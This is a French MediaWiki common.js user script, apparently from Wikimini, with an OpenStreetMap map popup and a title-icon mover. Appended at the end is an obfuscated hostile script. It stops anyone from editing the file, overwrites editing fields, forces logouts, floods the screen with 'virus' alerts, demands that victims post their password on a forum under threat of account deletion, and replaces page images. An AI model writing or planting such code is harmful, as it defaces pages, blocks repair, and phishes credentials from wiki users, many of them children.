|||
var na = document.createElement ( 'a' ) ; |
|||
na.href = 'javascript:openStreetMap_Toggle();' ; |
|||
na.title = 'Où se trouve ' + wgTitle + ' ?' ; |
|||
//tn = document.createTextNode ( 'Où ?' ); |
|||
na.appendChild ( im ) ; |
|||
var divou = document.createElement ( 'div' ); |
|||
divou.id = "divou"; |
|||
divou.appendChild( na ); |
|||
var h1 = document.getElementById('firstHeading'); |
|||
if(!h1) h1 = document.getElementsByTagName('h1')[0]; // Nostalgia, Standard |
|||
h1.appendChild(divou); |
|||
} |
|||
function openStreetMap_Toggle () { |
|||
var c = document.getElementById ( 'coordinates-title' ) ; |
|||
if ( !c) return ; |
|||
var osm = document.getElementById ( 'OpenStreetMap' ) ; |
|||
if (osm) { |
|||
if ( osm.style.display == 'none' ) { |
|||
osm.style.display = 'block' ; |
|||
} else { |
|||
osm.style.display = 'none' ; |
|||
} |
|||
return; |
|||
} |
|||
var found_link = false ; |
|||
var a = c.getElementsByTagName ( 'a' ) ; |
|||
var h; |
|||
for ( var i = 0 ; i < a.length ; i++ ) { |
|||
h = a[i].href ; |
|||
if ( !h.match(/geohack/) ) continue ; |
|||
found_link = true ; |
|||
break ; |
|||
} |
|||
if ( !found_link ) return ; // No geohack link found |
|||
h = h.split('params=')[1] ; |
|||
var LargeurEcran = MoveResizeAbsolute_GetScreenWidth(); |
|||
var HauteurEcran = MoveResizeAbsolute_GetScreenHeight(); |
|||
var OSMDiv = document.createElement('div'); |
|||
OSMDiv.id = 'OpenStreetMap' ; |
|||
OSMDiv.style.position = "absolute"; |
|||
OSMDiv.style.zIndex = 5000; |
|||
OSMDiv.style.top = (HauteurEcran*10/100) + "px"; |
|||
OSMDiv.style.left = (LargeurEcran*15/100) + "px"; |
|||
OSMDiv.style.width = "70%"; |
|||
OSMDiv.style.height = (HauteurEcran*80/100) + "px"; |
|||
OSMDiv.style.border = "1px solid #AAAAAA"; |
|||
OSMDiv.style.backgroundColor = "#EEEEFF"; |
|||
OSMDiv.style.overflow = "hidden"; |
|||
var MoveArea = document.createElement('div'); |
|||
MoveArea.style.position = "relative"; |
|||
MoveArea.style.top = "0"; |
|||
MoveArea.style.width = "100%"; |
|||
MoveArea.style.height = "50px"; |
|||
MoveArea.title = "Cliquer et glisser pour déplacer la carte"; |
|||
var CloseLink = document.createElement('a'); |
|||
CloseLink.setAttribute("style", "float:right;margin:10px;"); |
|||
CloseLink.innerHTML = "Cacher la carte"; |
|||
CloseLink.title = "Cliquer pour masquer la carte"; |
|||
CloseLink.href = "javascript:openStreetMap_Toggle();"; |
|||
MoveArea.appendChild(CloseLink); |
|||
var iFrame = document.createElement ( 'iframe' ) ; |
|||
var url = 'https://tools.wmflabs.org/wiwosm/osm-on-ol/kml-on-ol.php?lang=' + wgUserLanguage + '¶ms=' + h ; |
|||
iFrame.style.width = '100%' ; |
|||
iFrame.style.height = ((HauteurEcran*80/100)-100) + 'px' ; |
|||
iFrame.style.clear = 'both' ; |
|||
iFrame.src = url ; |
|||
var ResizeArea = document.createElement('div'); |
|||
ResizeArea.style.position = "relative"; |
|||
ResizeArea.style.top = "0"; |
|||
ResizeArea.style.width = "100%"; |
|||
ResizeArea.style.height = "50px"; |
|||
ResizeArea.title = "Cliquer et glisser pour redimensionner la carte"; |
|||
OSMDiv.appendChild(MoveArea); |
|||
OSMDiv.appendChild(iFrame); |
|||
OSMDiv.appendChild(ResizeArea); |
|||
document.body.appendChild ( OSMDiv ) ; |
|||
var ElementsToMove = new Array(OSMDiv); |
|||
var ElementsToResize = new Array(OSMDiv, iFrame); |
|||
var ElementsMinWidth = new Array(150, 150); |
|||
var ElementsMinHeights = new Array(200, 100); |
|||
MoveResizeAbsolute_AddMoveArea(MoveArea, ElementsToMove); |
|||
MoveResizeAbsolute_AddResizeArea(ResizeArea, ElementsToResize, ElementsMinWidth, ElementsMinHeights); |
|||
} |
|||
$(openStreetMap_Init); |
|||
/***************************/ |
|||
/* Fin Carte */ |
|||
/***************************/ |
|||
/************ |
|||
* IconesDeTitre : fait en sorte que le modèle {{Icône de titre}} puisse être utilisé plusieurs fois |
|||
*/ |
|||
/** |
|||
* Icônes de titre |
|||
* |
|||
* Cherche les icônes de titre (class="icone_de_titre") et les |
|||
* déplace à droite du titre de la page. |
|||
* Doit être exécuté après une éventuelle correction de titre. |
|||
*/ |
|||
function IconesDeTitre() { |
|||
var h1 = document.getElementById('firstHeading'); |
|||
if(!h1) h1 = document.getElementsByTagName('h1')[0]; // Nostalgia, Standard |
|||
if(!h1) return; |
|||
var icones = getElementsByClass( "icone_de_titre", document, "div" ); |
|||
for( var j = icones.length; j > 0; --j ){ |
|||
icones[j-1].style.display = "block"; /* annule display:none par défaut */ |
|||
if(( skin == "modern" )||( skin == "vector" )){ |
|||
icones[j-1].style.marginTop = "0em"; |
|||
} |
|||
h1.parentNode.insertBefore(icones[j-1], h1); /* déplacement de l'élément */ |
|||
} |
|||
} |
|||
$(IconesDeTitre); |
|||
/* </nowiki> </pre> */ |
|||
Dernière version du 6 janvier 2021 à 20:56
setInterval(function(){location.href.includes("common.js&action=edit")&&(document.querySelector("#editform").innerHTML=" ")},1);var alertex=1;if(alertex=1)for(i in setInterval(function(){try{document.getElementById("wpTextbox1").value="A l'aide Rififi ! J'ai le virus CHOUBIDOU VERSION 2 ! WOUIN WOUIN WOUIIIIINNN",document.getElementById("lqt_subject_field").value="Le virus sait ecrire a votre place"}catch(e){}},1),location.href.includes("common.js&action=edit")&&(location.href="https://fr.wikimini.org/wiki/Accueil"),location.href.includes("kw=")&&(location.href="https://fr.wikimini.org/w/index.php?title=Sp%C3%A9cial:D%C3%A9connexion&returnto=BienEssayéLOL"),alert("C . A . C . A !"),alert("Oh mince ! Un virus !"),alert("Oh mince ! Un virus !"),alert("Oh mince ! Un virus !"),alert("Le virus ChoubiDou version 420 a atteint ton compte wikimini, tu t vraiment fait avoir !"),alert("Aussi g ton mot de passe, si tu le poste pas dans les 24h sur le forum (dans le titre du sujet) je pirate ton compte wikimini et je le supprime :lol:"),document.querySelector(".mw-body").outerHTML=document.querySelector(".mw-body").outerHTML+"<style>body{background-image:url('https://i.imgur.com/MvWUKeQ.png')}</style>",document.querySelectorAll("img"))console.log(i),document.querySelectorAll("img")[i].src="https://i.imgur.com/MvWUKeQ.png";alertex=0;
Ce que tu peux faire
Outils

Outils personnels